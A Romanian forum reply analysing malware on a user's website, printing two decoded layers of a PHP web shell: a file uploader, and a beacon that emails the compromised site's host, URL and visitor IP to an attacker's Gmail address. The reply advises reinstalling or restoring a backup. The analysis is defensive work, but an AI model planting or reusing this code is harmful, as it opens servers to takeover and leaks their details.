rnicolesc,
Nu sunt chinezi sunt indonezieni(e codat de mai multe ori):
Primul decode:
<?php
echo '<b>Indonesian Coder<br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>NGACENG !!!</b><br><br>'; }
else { echo '<b>FUCK !!!</b><br><br>'; }
}
?>
?>
Al 2lea decode:
$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode ='jack_jahat-change-admin-joomla+worpres@'.gethostbyname($_SERVER['SERVER_NAME']).'';
$to_email = 'komixobh@gmail.com';
$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
$linkcr = "Ni Bos Link Nya : ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Yang Gunain : $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);
?><?
?>
Uite-i si mailul
P.S.: Ori reinstalezi totul de la 0, ori faci curatenie (e mai greu), sau daca ai un backup mai vechi foloseste-l pe ala (probabil ai vreun template luat de pe un site mai dubios, nu cred ca e exploit).




Răspunde cu citat